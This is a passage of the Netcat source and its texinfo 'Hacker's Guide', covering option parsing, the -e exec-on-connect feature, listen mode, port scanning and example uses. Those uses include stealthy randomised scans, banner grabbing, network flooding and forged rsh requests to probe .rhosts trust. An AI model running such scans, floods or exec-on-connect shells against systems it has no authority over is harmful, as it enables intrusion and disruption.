1157 | break; 1158 | case 'b': /* broadcast mode */ 1159 | o_broadcast++; 1160 | break; 1161 | case 'c': /* prog to exec */ 1162 | o_pr00gie_shell = 1; 1163 | o_pr00gie = optarg; 1164 | break; 1165 | case 'e': /* prog to exec */ 1166 | o_pr00gie_shell = 0; 1167 | o_pr00gie = optarg; 1168 | break; 1169 | case 'h': 1170 | usage (0); /* exits by itself */ 1171 | case 'i': /* line-interval time */ 1172 | o_interval = optarg ? atoi (optarg) : 0; 1173 | if (o_interval < 0) 1174 | bail ("invalid interval time %s", optarg); 1175 | break; 1176 | case 'l': /* listen mode */ 1177 | o_listen++; 1178 | break; 1179 | case 'n': /* numeric-only, no DNS lookups */ 1180 | gai_hints.ai_flags |= AI_NUMERICHOST; 1181 | break; 1182 | case 'o': /* hexdump log */ 1183 | o_wfile = (char *) optarg; 1184 | break; 1185 | case 'p': /* local source port */ 1186 | o_lport = optarg; 1187 | break; 1188 | case 'q': /* quit after stdin does EOF */ 1189 | o_quit = optarg ? atoi (optarg) : 0; 1190 | break; 1191 | case 'r': /* randomize various things */ 1192 | o_random++; 1193 | break; 1194 | case 's': /* local source address */ 1195 | local_addr = optarg; 1196 | break; 1197 | case 't': /* do telnet fakeout */ 1198 | o_telnet++; 1199 | break; 1200 | case 'u': /* use UDP */ 1201 | o_proto = IPPROTO_UDP; 1202 | break; 1203 | case 'v': /* verbose */ 1204 | o_verbose++; 1205 | break; 1206 | case 'w': /* wait time */ 1207 | o_wait = atoi (optarg); 1208 | if (o_wait <= 0) 1209 | bail ("invalid wait-time %s", optarg); 1210 | break; 1211 | case 'z': /* little or no data xfer */ 1212 | o_nostdin++; 1213 | break; 1214 | default: 1215 | errno = 0; 1216 | bail ("Try nc -h for help"); 1217 | } /* switch x */ 1218 | } /* while getopt */ 1219 | 1220 | /* other misc initialization */ 1221 | if (o_pr00gie) 1222 | { 1223 | o_wfile = NULL; /* -o with -e is meaningless! */ 1224 | dump_fd = -1; 1225 | } 1226 | 1227 | if (o_wfile) 1228 | { 1229 | dump_fd = open (o_wfile, O_WRONLY | O_CREAT | O_TRUNC, 0666); 1230 | if (dump_fd < 0) 1231 | bail ("can't open %s", o_wfile); 1232 | } 1233 | 1234 | /* optind is now index of first non -x arg */ 1235 | if (argv[optind]) 1236 | remote_addr = argv[optind++]; 1237 | 1238 | errno = 0; 1239 | 1240 | /* Handle listen mode here, and exit afterward. Only does one connect; 1241 | this is arguably the right thing to do. A "persistent listen-and-fork" 1242 | mode a la inetd has been thought about, but not implemented. A tiny 1243 | wrapper script can handle such things... */ 1244 | if (o_listen) 1245 | { 1246 | /* remote_port *can* be NULL here... */ 1247 | remote_port = argv[optind]; 1248 | sock_fd = 1249 | connect_server_socket (remote_addr, remote_port, local_addr, o_lport, 1250 | o_proto); 1251 | 1252 | if (sock_fd < 0) 1253 | bail ("no connection"); 1254 | 1255 | if (o_pr00gie) /* -e given? */ 1256 | exec_child_pr00gie (o_pr00gie, o_pr00gie_shell); 1257 | 1258 | x = socket_loop (); 1259 | exit (x); 1260 | } /* o_listen */ 1261 | 1262 | /* fall thru to outbound connects. Now we're more picky about args... */ 1263 | if (!remote_addr) 1264 | bail ("no destination"); 1265 | 1266 | if (argv[optind] == NULL) 1267 | bail ("no port to connect to"); 1268 | 1269 | /* If any more ports given, multiplex. */ 1270 | if (argv[optind + 1]) 1271 | port_scan = 1; 1272 | 1273 | /* everything from here down is treated as as ports and/or ranges thereof, so 1274 | it's all enclosed in this big ol' argv-parsin' loop. Any randomization is 1275 | done within each given *range*, but in separate chunks per each succeeding 1276 | argument, so we can control the pattern somewhat. */ 1277 | for (; argv[optind]; optind++) 1278 | { 1279 | cp = strchr (argv[optind], '-'); /* nn-mm range? */ 1280 | if (cp && *argv[optind] >= '0' && *argv[optind] <= '9') 1281 | { 1282 | char *tail; 1283 | unsigned int first_port; /* for scanning stuff */ 1284 | unsigned int last_port; 1285 | 1286 | if (!cp[1]) 1287 | bail ("invalid range %s", argv[optind]); 1288 | 1289 | *cp++ = '\0'; 1290 | first_port = strtoul (argv[optind], &tail, 0); 1291 | if (first_port > USHRT_MAX || *tail || first_port == 0) 1292 | bail ("invalid port %s", argv[optind]); 1293 | 1294 | last_port = strtoul (cp, &tail, 0); 1295 | if (last_port > USHRT_MAX || *tail || last_port == 0) 1296 | bail ("invalid port %s", cp); 1297 | 1298 | /* For uniformity, consider 1234-1234 multi-mode as well. */ 1299 | port_scan = 1; 1300 | 1301 | /* Is it genuinely a range? */ 1302 | if (last_port < first_port) 1303 | continue; 1304 | 1305 | port_count = last_port - first_port + 1; 1306 | port_list = make_port_block (first_port, last_port); 1307 | } /* if found a dash */ 1308 | else 1309 | { 1310 | port_count = 1; 1311 | port_list = NULL; 1312 | } 1313 | 1314 | /* Now start connecting to these things. */ 1315 | while (port_count--) 1316 | { 1317 | /* If scanning, remote_port has not been preloaded. */ 1318 | if (port_list) 1319 | sprintf (remote_port = remote_port_buf, "%d", 1320 | port_list[port_count]); 1321 | else 1322 | remote_port = argv[optind]; 1323 | 1324 | if (!o_lport && o_random) 1325 | { /* -p overrides random local-port */ 1326 | /* above resv and any likely listeners */ 1327 | int the_port = (random () & (0xffff - 8192)) + 8192; 1328 | sprintf (local_port = local_port_buf, "%d", the_port); 1329 | } 1330 | else 1331 | local_port = o_lport; 1332 | 1333 | debug_msg ("opening socket from port %s to port %s", sock_fd, 1334 | local_port, remote_port); 1335 | sock_fd = 1336 | connect_socket (remote_addr, remote_port, local_addr, local_port, 1337 | o_proto); 1338 | 1339 | debug_msg ("sock_fd %d", sock_fd); 1340 | if (sock_fd < 0) 1341 | { 1342 | if (!port_scan) 1343 | exit (1); 1344 | else 1345 | continue; 1346 | } 1347 | 1348 | /* If -i, delay before connection too */ 1349 | if (o_interval > 0) 1350 | sleep (o_interval); 1351 | 1352 | /* Exec is valid for outbound, too! */ 1353 | if (o_pr00gie) 1354 | exec_child_pr00gie (o_pr00gie, o_pr00gie_shell); 1355 | 1356 | if (!o_nostdin) 1357 | { 1358 | x = socket_loop(); 1359 | if (!port_scan) 1360 | exit (x); 1361 | } 1362 | } 1363 | 1364 | if (port_list) 1365 | free (port_list); 1366 | } /* while remaining port-args -- end of big argv-ports loop */ 1367 | 1368 | /* Give status only on one connection */ 1369 | exit (0); 1370 | } 1371 | 1372 | -------------------------------------------------------------------------------- /netcat.texi: -------------------------------------------------------------------------------- 1 | \input texinfo.tex @c -*- texinfo -*- 2 | @c %**start of header (This is for running Texinfo on a region.) 3 | @setfilename netcat.info 4 | @settitle Netcat Hacker's Guide 5 | @setchapternewpage odd 6 | @smallbook 7 | @c %**end of header (This is for running Texinfo on a region.) 8 | 9 | @c ******************************************* Values and macros ********* 10 | @dircategory Netcat 11 | @direntry 12 | * Netcat: (netcat). TCP/IP swiss army knife. 13 | @end direntry 14 | 15 | @copying 16 | @quotation 17 | Netcat is freely given away to the Internet community in the hope that 18 | it will be useful, with no restrictions except giving credit where it is 19 | due. No GPLs, Berkeley copyrights or any of that nonsense. The author 20 | assumes @strong{no} responsibility for how anyone uses it. If Netcat 21 | makes you rich somehow and you're feeling generous, mail me a check. If 22 | you are affiliated in any way with Microsoft Network, get a life. 23 | Always ski in control. 24 | @end quotation 25 | @end copying 26 | 27 | @titlepage 28 | @title Netcat's Hacker's Guide 29 | 30 | @author by *Hobbit* 31 | 32 | @comment The following two commands start the copyright page. 33 | @page 34 | @vskip 0pt plus 1filll 35 | @insertcopying 36 | @end titlepage 37 | 38 | @node Top, , , (DIR) 39 | @top 40 | 41 | @menu 42 | * Introduction:: 43 | * Features:: 44 | * Light side:: 45 | * Dark side:: 46 | * Notes:: 47 | @end menu 48 | 49 | @node Introduction 50 | @chapter Introduction to Netcat 51 | 52 | Netcat is a simple Unix utility which reads and writes data across 53 | network connections, using @acronym{TCP} or @acronym{UDP} protocol. It 54 | is designed to be a reliable ``back-end'' tool that can be used directly 55 | or easily driven by other programs and scripts. At the same time, it is 56 | a feature-rich network debugging and exploration tool, since it can 57 | create almost any kind of connection you would need and has several 58 | interesting built-in capabilities. Netcat, or @command{nc} as the 59 | actual program is named, should have been supplied long ago as another 60 | one of those cryptic but standard Unix tools. 61 | 62 | In the simplest usage, @command{nc @var{host} @var{port}} creates a 63 | @acronym{TCP} connection to the given port on the given target host. 64 | Your standard input is then sent to the host, and anything that comes 65 | back across the connection is sent to your standard output. This 66 | continues indefinitely, until the network side of the connection shuts 67 | down. Note that this behavior is different from most other applications 68 | which shut everything down and exit after an end-of-file on the standard 69 | input. 70 | 71 | Netcat can also function as a server, by listening for inbound 72 | connections on arbitrary ports and then doing the same reading and 73 | writing. With minor limitations, Netcat doesn't really care if it runs 74 | in ``client'' or ``server'' mode---it still shovels data back and forth 75 | until there isn't any more left. In either mode, shutdown can be forced 76 | after a configurable time of inactivity on the network side. 77 | 78 | And it can do this via @acronym{UDP} too, so Netcat is possibly the 79 | ``udp telnet-like'' application you always wanted for testing your 80 | @acronym{UDP}-mode servers. @acronym{UDP}, as the ``U'' implies, gives 81 | less reliable data transmission than @acronym{TCP} connections and some 82 | systems may have trouble sending large amounts of data that way, but 83 | it's still a useful capability to have. 84 | 85 | You may be asking ``why not just use telnet to connect to arbitrary 86 | ports?'' Valid question, and here are some reasons. Telnet has the 87 | ``standard input @acronym{EOF}'' problem, so one must introduce 88 | calculated delays in driving scripts to allow network output to finish. 89 | This is the main reason Netcat stays running until the @emph{network} 90 | side closes. Telnet also will not transfer arbitrary binary data, 91 | because certain characters are interpreted as telnet options and are 92 | thus removed from the data stream. Telnet also emits some of its 93 | diagnostic messages to standard output, where Netcat keeps such things 94 | religiously separated from its @emph{output} and will never modify any 95 | of the real data in transit unless you @emph{really} want it to. And of 96 | course telnet is incapable of listening for inbound connections, or 97 | using @acronym{UDP} instead. Netcat doesn't have any of these 98 | limitations, is much smaller and faster than telnet, and has many other 99 | advantages. 100 | 101 | Some of Netcat's major features are: 102 | 103 | @itemize @bullet 104 | @item 105 | Outbound or inbound connections, @acronym{TCP} or @acronym{UDP}, to or 106 | from any ports 107 | 108 | @item 109 | Full @acronym{DNS} forward/reverse checking, with appropriate warnings 110 | 111 | @item 112 | Ability to use any local source port 113 | 114 | @item 115 | Ability to use any locally-configured network source address 116 | 117 | @item 118 | Built-in port-scanning capabilities, with randomizer 119 | 120 | @item 121 | Can read command line arguments from standard input 122 | 123 | @item 124 | Slow-send mode, one line every N seconds 125 | 126 | @item 127 | Hex dump of transmitted and received data 128 | 129 | @item 130 | Optional ability to let another program service established connections 131 | 132 | @item 133 | Optional telnet-options responder 134 | @end itemize 135 | 136 | Efforts have been made to have Netcat ``do the right thing'' in all its 137 | various modes. If you believe that it is doing the wrong thing under 138 | whatever circumstances, please notify me and tell me how you think it 139 | should behave. If Netcat is not able to do some task you think up, 140 | minor tweaks to the code will probably fix that. It provides a basic 141 | and easily-modified template for writing other network applications, and 142 | I certainly encourage people to make custom mods and send in any 143 | improvements they make to it. 144 | 145 | This release is not made by the original author; the overall differences 146 | from 1.10 are relatively minor and have mostly to do with readability of 147 | source code and some modernization. It is not an attempt to steal 148 | *Hobbit*'s merits as Netcat's author, but rather to keep an 149 | extraordinarily useful tool in pace with the changes in the Internet, 150 | and to make an extraordinarily instructive piece of code even more so. 151 | 152 | Netcat is entirely *Hobbit*'s own creation, although he says plenty of 153 | other code was used as examples. Here are his words: 154 | 155 | @insertcopying 156 | 157 | Comments, questions, flames, and patches to bonzini@@gnu.org. 158 | 159 | @node Features 160 | @chapter Exploration of features 161 | 162 | Where to begin? Netcat is at the same time so simple and versatile, 163 | it's like trying to describe everything you can do with your Swiss Army 164 | knife. This will go over the basics; you should also read the usage 165 | examples and notes later on which may give you even more ideas about 166 | what this sort of tool is good for. 167 | 168 | If no command arguments are given at all, Netcat asks for them, reads a 169 | line from standard input, and breaks it up into arguments internally. 170 | This can be useful when driving Netcat from certain types of scripts, 171 | with the side effect of hiding your command line arguments from 172 | @command{ps} displays. 173 | 174 | The host argument can be a name or IP address. If @option{-n} is 175 | specified, Netcat will only accept numeric IP addresses and do no 176 | @acronym{DNS} lookups for anything. If @option{-n} is not given and 177 | @option{-v} is turned on, Netcat will do a full forward and reverse name 178 | and address lookup for the host, and warn you about the all-too-common 179 | problem of mismatched names in the @acronym{DNS}. This often takes a 180 | little longer for connection setup, but is useful to know about. There 181 | are circumstances under which this can @emph{save} time, such as when 182 | you want to know the name for some IP address and also connect there. 183 | Netcat will just tell you all about it, saving the manual steps of 184 | looking up the hostname yourself. 185 | 186 | A port argument is required for outbound connections, and can be numeric 187 | or a name as listed in /etc/services. If @option{-n} is specified, only 188 | numeric arguments are valid. Special syntax and/or more than one port 189 | argument cause different behavior---see details below about 190 | port-scanning. 191 | 192 | The @option{-v} switch controls the verbosity level of messages sent to 193 | standard error. You will probably want to run Netcat most of the time 194 | with @option{-v} turned on, so you can see info about the connections it 195 | is trying to make. You will probably also want to give a smallish 196 | @option{-w} argument, which limits the time spent trying to make a 197 | connection. I usually alias @command{nc} to @command{nc -v -w 3}, which 198 | makes it function just about the same for things I would otherwise use 199 | telnet to do. The timeout is easily changed by a subsequent @option{-w} 200 | argument which overrides the earlier one. Specifying @option{-v} more 201 | than once makes diagnostic output @emph{more} verbose. If @option{-v} 202 | is not specified at all, Netcat silently does its work unless some error 203 | happens, whereupon it describes the error and exits with a nonzero 204 | status. Refused network connections are generally @emph{not} considered 205 | to be errors, unless you only asked for a single @acronym{TCP} port and 206 | it was refused. 207 | 208 | Note that @option{-w} also sets the network inactivity timeout. This 209 | does not have any effect until standard input closes, but then if 210 | nothing further arrives from the network in the next @var{timeout} 211 | seconds, Netcat tries to read the net once more for good measure, and 212 | then closes and exits. There are a lot of network services now that 213 | accept a small amount of input and return a large amount of output, such 214 | as Gopher and Web servers, which is the main reason Netcat was written 215 | to ``block'' on the network staying open rather than standard input. 216 | Handling the timeout this way gives uniform behavior with network 217 | servers that @emph{don't} close by themselves until told to. 218 | 219 | @acronym{UDP} connections are opened instead of @acronym{TCP} when 220 | @option{-u} is specified. These aren't really ``connections'' per se 221 | since @acronym{UDP} is a connectionless protocol, although Netcat does 222 | internally use the ``connected @acronym{UDP} socket'' mechanism that 223 | most kernels support. Although Netcat claims that an outgoing 224 | @acronym{UDP} connection is ``open'' immediately, no data is sent until 225 | something is read from standard input. Only thereafter is it possible 226 | to determine whether there really is a @acronym{UDP} server on the other 227 | end, and often you just can't tell. Most @acronym{UDP} protocols use 228 | timeouts and retries to do their thing and in many cases won't bother 229 | answering at all, so you should specify a timeout and hope for the best. 230 | You will get more out of @acronym{UDP} connections if standard input is 231 | fed from a source of data that looks like various kinds of server 232 | requests. 233 | 234 | To obtain a hex dump file of the data sent either way, use @option{-o 235 | @var{log-file}}. The dump lines begin with @code{<} or @code{>} to 236 | respectively indicate ``from the net'' or ``to the net'', and contain 237 | the total count per direction, and hex and ascii representations of the 238 | traffic. Capturing a hex dump naturally slows Netcat down a bit, so 239 | don't use it where speed is critical. 240 | 241 | Netcat can bind to any local port, subject to privilege restrictions and 242 | ports that are already in use. It is also possible to use a specific 243 | local network source address if it is that of a network interface on 244 | your machine.@footnote{Note: this does not work correctly on all 245 | platforms.} Use @option{-p @var{port}} to grab a specific local port, 246 | and @option{-s @var{addr}} or @option{-s @var{name}} to have that be 247 | your source IP address. This is often referred to as ``anchoring the 248 | socket''. Root users can grab any unused source port including the 249 | ``reserved'' ones less than 1024. Absence of @option{-p} will bind to 250 | whatever unused port the system gives you, just like any other normal 251 | client connection, unless you use @option{-r}@footnote{see below}. 252 | 253 | Listen mode will cause Netcat to wait for an inbound connection, and 254 | then the same data transfer happens. Thus, you can do @command{nc -l -p 255 | 1234 < filename} and when someone else connects to your port 1234, the 256 | file is sent to them whether they wanted it or not. Listen mode is 257 | generally used along with a local port argument---this is required for 258 | @acronym{UDP} mode, while @acronym{TCP} mode can have the system assign 259 | one and tell you what it is if @option{-v} is turned on. If you specify 260 | a target host and optional port in listen mode, Netcat will accept an 261 | inbound connection only from that host and if you specify one, only from 262 | that foreign source port. In verbose mode you'll be informed about the 263 | inbound connection, including what address and port it came from, and 264 | since listening on ``any'' applies to several possibilities, which 265 | address it came @emph{to} on your end. If the system supports IP socket 266 | options, Netcat will attempt to retrieve any such options from an 267 | inbound connection and print them out in hex. 268 | 269 | The @option{-e} argument specifies a program to exec after making or 270 | receiving a successful connection. In the listening mode, this works 271 | similarly to @command{inetd} but only for a single instance. Use with 272 | @strong{great care}. This hack also works in @acronym{UDP} mode. Note 273 | that you can only supply @option{-e} with the name of the program, but 274 | no arguments. If you want to launch something with an argument list, 275 | write a two-line wrapper script or just use @command{inetd} like always. 276 | 277 | The @option{-t} argument enables Netcat to respond to Telnet option 278 | negotiation (always in the negative, i.e. @code{DONT} or @code{WONT}). 279 | This allows it to connect to a @command{telnetd} and get past the 280 | initial negotiation far enough to get a login prompt from the server. 281 | Since this feature has the potential to modify the data stream, it is 282 | not enabled by default. You have to understand why you might need this 283 | and turn on the option yourself. 284 | 285 | Data from the network connection is always delivered to standard output 286 | as efficiently as possible, using large 8K reads and writes. Standard 287 | input is normally sent to the net the same way, but the @option{-i} 288 | switch specifies an ``interval time'' which slows this down 289 | considerably. Standard input is still read in large batches, but Netcat 290 | then tries to find where line breaks exist and sends one line every 291 | interval time. Note that if standard input is a terminal, data is 292 | already read line by line, so unless you make the @option{-i} interval 293 | rather long, what you type will go out at a fairly normal rate. 294 | @option{-i} is really designed for use when you want to ``measure out'' 295 | what is read from files or pipes. 296 | 297 | Port-scanning is a popular method for exploring what's out there. 298 | Netcat accepts its commands with options first, then the target host, 299 | and everything thereafter is interpreted as port names or numbers, or 300 | ranges of ports in M-N syntax. @emph{Caveat}: some port names in 301 | /etc/services contain hyphens---Netcat currently will not correctly 302 | parse those, so specify ranges using numbers if you can. If more than 303 | one port is thus specified, Netcat connects to @emph{all} of them, 304 | sending the same batch of data from standard input@footnote{up to 8K 305 | worth} to each one that is successfully connected to. Specifying 306 | multiple ports also suppresses diagnostic messages about refused 307 | connections, unless @option{-v} is specified twice for ``more 308 | verbosity''. This way you normally get notified only about genuinely 309 | open connections. Example: @command{nc -v -w 2 -z target 20-30} will 310 | try connecting to every port between 20 and 30 (inclusive) at the 311 | target, and will likely inform you about an @acronym{FTP} server, telnet 312 | server, and mailer along the way. The @option{-z} switch prevents 313 | sending any data to a @acronym{TCP} connection and very limited probe 314 | data to a @acronym{UDP} connection, and is thus useful as a fast 315 | scanning mode just to see what ports the target is listening on. To 316 | limit scanning speed if desired, @option{-i} will insert a delay between 317 | each port probe. There are some pitfalls with regard to @acronym{UDP} 318 | scanning, described later, but in general it works well. 319 | 320 | For each range of ports specified, scanning is normally done downward 321 | within that range. If the @option{-r} switch is used, scanning hops 322 | randomly around within that range and reports open ports as it finds 323 | them. If you want them listed in order regardless, pipe standard error 324 | through @command{sort}... In addition, if random mode is in effect, the 325 | local source ports are also randomized. This prevents Netcat from 326 | exhibiting any kind of regular pattern in its scanning. You can exert 327 | fairly fine control over your scan by judicious use of @option{-r} and 328 | selected port ranges to cover. If you use @option{-r} for a single 329 | connection, the source port will have a random value above 8192, rather 330 | than the next one the kernel would have assigned you. Note that 331 | selecting a specific local port with @option{-p} overrides any 332 | local-port randomization. 333 | 334 | Netcat tries its best to behave just like @command{cat}. It currently 335 | does nothing to terminal input modes, and does no end-of-line 336 | conversion. Standard input from a terminal is read line by line with 337 | normal editing characters in effect. You can freely suspend out of an 338 | interactive connection and resume. ^C or whatever your interrupt 339 | character is will make Netcat close the network connection and exit. A 340 | switch to place the terminal in raw mode has been considered, but so far 341 | has not been necessary. You can send raw binary data by reading it out 342 | of a file or piping from another program, so more meaningful effort 343 | would be spent writing an appropriate front-end driver. 344 | 345 | Netcat is not an ``arbitrary packet generator'', but the ability to talk 346 | to raw sockets and/or nit/bpf/dlpi may appear at some point. Such 347 | things are clearly useful; I refer you to Darren Reed's excellent 348 | ip_filter package, which now includes a tool to construct and send raw 349 | packets with any contents you want. 350 | 351 | @node Light side 352 | @chapter Example uses---the light side 353 | 354 | Again, this is a very partial list of possibilities, but it may get you 355 | to think up more applications for Netcat. Driving Netcat with simple 356 | shell or expect scripts is an easy and flexible way to do fairly complex 357 | tasks, especially if you're not into coding network tools in C. My 358 | coding isn't particularly strong either (although undoubtedly better 359 | after writing this thing!), so I tend to construct bare-metal tools like 360 | this that I can trivially plug into other applications. Netcat doubles 361 | as a teaching tool---one can learn a great deal about more complex 362 | network protocols by trying to simulate them through raw connections! 363 | 364 | An example of Netcat as a backend for something else is the shell-script 365 | Web browser, which simply asks for the relevant parts of a @acronym{URL} 366 | and pipes @code{GET /what/ever} into a Netcat connection to the server. 367 | I used to do this with telnet, and had to use calculated sleep times and 368 | other stupidity to kludge around telnet's limitations. Netcat 369 | guarantees that I get the whole page, and since it transfers all the 370 | data unmodified, I can even pull down binary image files and display 371 | them elsewhere later. Some folks may find the idea of a shell-script 372 | web browser silly and strange, but it starts up and gets me my info a 373 | hell of a lot faster than a GUI browser and doesn't hide any contents of 374 | links and forms and such. This is included, as scripts/web, along with 375 | several other web-related examples. 376 | 377 | Netcat is an obvious replacement for telnet as a tool for talking to 378 | daemons. For example, it is easier to type @command{nc host 25}, talk 379 | to someone's mailer, and just @kbd{^C} out than having to type @kbd{^]c} 380 | or @kbd{QUIT} as telnet would require you to do. You can quickly 381 | catalog the services on your network by telling Netcat to connect to 382 | well-known services and collect greetings, or at least scan for open 383 | ports. You'll probably want to collect Netcat's diagnostic messages in 384 | your output files, so be sure to include standard error in the output 385 | using @command{>& file} in @command{csh} or @command{> file 2>&1} in the 386 | Bourne shell. 387 | 388 | A scanning example: @command{echo QUIT | nc -v -w 5 target 20-250 389 | 500-600 5990-7000} will inform you about a target's various well-known 390 | @acronym{TCP} servers, including r-services, X, @acronym{IRC}, and maybe 391 | a few you didn't expect. Sending in @kbd{QUIT} and using the timeout 392 | will almost guarantee that you see some kind of greeting or error from 393 | each service, which usually indicates what it is and what 394 | version.@footnote{Beware of the ``chargen'' port, though...} 395 | @acronym{SATAN} uses exactly this technique to collect host information, 396 | and indeed some of the ideas herein were taken from the @acronym{SATAN} 397 | backend tools. If you script this up to try every host in your subnet 398 | space and just let it run, you will not only see all the services, 399 | you'll find out about hosts that aren't correctly listed in your 400 | @acronym{DNS}. Then you can compare new snapshots against old snapshots 401 | to see changes. For going after particular services, a more intrusive 402 | example is in scripts/probe. 403 | 404 | Netcat can be used as a simple data transfer agent, and it doesn't 405 | really matter which end is the listener and which end is the 406 | client---input at one side arrives at the other side as output. It is 407 | helpful to start the listener at the receiving side with no timeout 408 | specified, and then give the sending side a small timeout. That way the 409 | listener stays listening until you contact it, and after data stops 410 | flowing the client will time out, shut down, and take the listener with 411 | it. Unless the intervening network is fraught with problems, this 412 | should be completely reliable, and you can always increase the timeout. 413 | A typical example of something @command{rsh} is often used for: on one 414 | side, 415 | 416 | @example 417 | nc -l -p 1234 | tar xvzpf - 418 | @end example 419 | 420 | @noindent 421 | and then on the other side 422 | 423 | @example 424 | tar cpf - /some/dir | gzip -9c | nc -w 3 othermachine 1234 425 | @end example 426 | 427 | @noindent 428 | will transfer the contents of a directory from one machine to another, 429 | without having to worry about @file{.rhosts} files, user accounts, or 430 | @command{inetd} configurations at either end. Again, it matters not 431 | which is the listener or receiver; the ``tarring'' machine could just as 432 | easily be running the listener instead. One could conceivably use a 433 | scheme like this for backups, by having cron-jobs fire up listeners and 434 | backup handlers (which can be restricted to specific addresses and ports 435 | between each other) and pipe @command{dump} or @command{tar} on one 436 | machine to @command{dd of=/dev/tapedrive} on another as usual. Since 437 | Netcat returns a nonzero exit status for a denied listener connection, 438 | scripts to handle such tasks could easily log and reject connect 439 | attempts from third parties, and then retry. 440 | 441 | Another simple data-transfer example: shipping things to a PC that 442 | doesn't have any network applications yet except a @acronym{TCP} stack 443 | and a web browser. Point the browser at an arbitrary port on a Unix 444 | server by telling it to download something like http://unixbox:4444/foo, 445 | and have a listener on the Unix side ready to ship out a file when the 446 | connect comes in. The browser may pervert binary data when told to save 447 | the @acronym{URL}, but you can dig the raw data out of the on-disk 448 | cache. 449 | 450 | You can use Netcat as an @command{inetd} substitute to test experimental 451 | network servers that would otherwise run under @command{inetd}. A 452 | script or program will have its input and output hooked to the network 453 | the same way, perhaps sans some fancier signal handling. Given that 454 | most network services do not bind to a particular local address, whether 455 | they are under @command{inetd} or not, it is possible for Netcat avoid 456 | the ``address already in use'' error by binding to a specific address. 457 | This lets you@footnote{as root, for low ports} place Netcat ``in the 458 | way'' of a standard service, since inbound connections are generally 459 | sent to such specifically-bound listeners first and fall back to the 460 | ones bound to ``any''. This allows for a one-off experimental 461 | simulation of some service, without having to screw around with 462 | @file{inetd}. Running with @option{-v} turned on and collecting a 463 | connection log from standard error is recommended. 464 | 465 | Netcat as well can make an outbound connection and then run a program or 466 | script on the originating end, with input and output connected to the 467 | same network port. This ``inverse @command{inetd}'' capability could 468 | enhance the backup-server concept described above or help facilitate 469 | things such as a ``network dialback'' concept. The possibilities are 470 | many and varied here; if such things are intended as security 471 | mechanisms, it may be best to modify Netcat specifically for the purpose 472 | instead of wrapping such functions in scripts. 473 | 474 | Speaking of @command{inetd}, Netcat will function perfectly well 475 | @emph{under} @command{inetd} as a @acronym{TCP} connection redirector 476 | for inbound services, like a ``plug-gw'' without the authentication 477 | step. This is very useful for doing stuff like redirecting traffic 478 | through your firewall out to other places like web servers and mail 479 | hubs, while posing no risk to the firewall machine itself. Put Netcat 480 | behind @command{inetd} and tcp_wrappers, perhaps thusly: 481 | 482 | @example 483 | www stream tcp nowait nobody /etc/tcpd /bin/nc -w3 realwww 80 484 | @end example 485 | 486 | @noindent 487 | and you have a simple and effective ``application relay'' with access 488 | control and logging. Note use of the wait time as a ``safety'' in case 489 | realwww isn't reachable or the calling user aborts the 490 | connection---otherwise the relay may hang there forever. 491 | 492 | You can use Netcat to generate huge amounts of useless network data for 493 | various performance testing. For example, doing 494 | 495 | @example 496 | yes AAAAAAAAAAAAAAAAAAAAAA | nc -v -v -l -p 2222 > /dev/null 497 | @end example 498 | 499 | @noindent 500 | on one side and then hitting it with 501 | 502 | @example 503 | yes BBBBBBBBBBBBBBBBBBBBBB | nc othermachine 2222 > /dev/null 504 | @end example 505 | 506 | @noindent 507 | from another host will saturate your wires with A's and B's. The ``very 508 | verbose'' switch usage will tell you how many of each were sent and 509 | received after you interrupt either side. Using @acronym{UDP} mode 510 | produces @emph{tremendously more} trash per unit time in the form of 511 | fragmented 8 Kbyte mobygrams---enough to stress-test kernels and network 512 | interfaces. Firing random binary data into various network servers may 513 | help expose bugs in their input handling, which nowadays is a popular 514 | thing to explore. A simple example data-generator is given in 515 | @file{data/data.c} included in this package, along with a small 516 | collection of canned input files to generate various packet contents. 517 | This program is documented in its beginning comments, but of interest 518 | here is using @option{%r} to generate random bytes at well-chosen points 519 | in a data stream. If you can crash your daemon, you likely have a 520 | security problem. 521 | 522 | The hex dump feature may be useful for debugging odd network protocols, 523 | especially if you don't have any network monitoring equipment handy or 524 | aren't root where you'd need to run @command{tcpdump} or something. 525 | Bind a listening Netcat to a local port, and have it run a script which 526 | in turn runs another Netcat to the real service and captures the hex 527 | dump to a log file. This sets up a transparent relay between your local 528 | port and wherever the real service is. Be sure that the script-run 529 | Netcat does @emph{not} use @option{-v}, or the extra info it sends to 530 | standard error may confuse the protocol. Note also that you cannot have 531 | the ``listen/exec'' Netcat do the data capture, since once the 532 | connection arrives it is no longer Netcat that is running. 533 | 534 | Binding to an arbitrary local port allows you to simulate things like 535 | r-service clients, if you are root locally. For example, feeding 536 | @kbd{^@@root^@@joe^@@pwd^@@} (where ^@@ is a null, and 537 | @kbd{root}/@kbd{joe} could be any other local/remote username pair) into 538 | a @command{rsh} or @command{rlogin} server, @emph{from} your port 1023 539 | for example, duplicates what the server expects to receive. Thus, you 540 | can test for insecure @file{.rhosts} files around your network without 541 | having to create new user accounts on your client machine. The program 542 | @file{data/rservice.c} can aid this process by constructing the 543 | @command{rcmd} protocol bytes. Doing this also prevents @command{rshd} 544 | from trying to create that separate standard-error socket and still 545 | gives you an input path, as opposed to the usual action of @command{rsh 546 | -n}. Using Netcat for things like this can be really useful sometimes, 547 | because rsh and rlogin generally want a host @emph{name} as an argument 548 | and won't accept IP addresses. If your client-end @acronym{DNS} is 549 | hosed, as may be true when you're trying to extract backup sets on to a 550 | dumb client, @command{Netcat -n} wins where normal rsh/rlogin is 551 | useless. 552 | 553 | If you are unsure that a remote syslogger is working, test it with 554 | Netcat. Make a @acronym{UDP} connection to port 514 and type in 555 | @code{<0>message}, which should correspond to @code{kern.emerg} and 556 | cause syslogd to scream into every file it has open@footnote{and 557 | possibly all over users' terminals}. You can tame this down by using a 558 | different number and use Netcat inside routine scripts to send syslog 559 | messages to places that aren't configured in @file{syslog.conf}. For 560 | example, @command{echo '<38>message' | nc -w 1 -u loggerhost 514} should 561 | send to auth.notice on loggerhost. The exact number may vary; check 562 | against your syslog.h first. 563 | 564 | Netcat provides several ways for you to test your own packet filters. 565 | If you bind to a port normally protected against outside access and make 566 | a connection to somewhere outside your own network, the return traffic 567 | will be coming to your chosen port from the ``outside'' and should be 568 | blocked. @acronym{TCP} may get through if your filter passes all ``ack 569 | syn'', but it shouldn't be even doing that to low ports on your network. 570 | Remember to test with @acronym{UDP} traffic as well! If your filter 571 | passes at least outbound source-routed IP packets, bouncing a connection 572 | back to yourself via some gateway outside your network will create 573 | ``incoming'' traffic with your source address, which should get dropped 574 | by a correctly configured anti-spoofing filter. This is a ``non-test'' 575 | if you're also dropping source-routing, but it's good to be able to test 576 | for that too. Any packet filter worth its salt will be blocking 577 | source-routed packets in 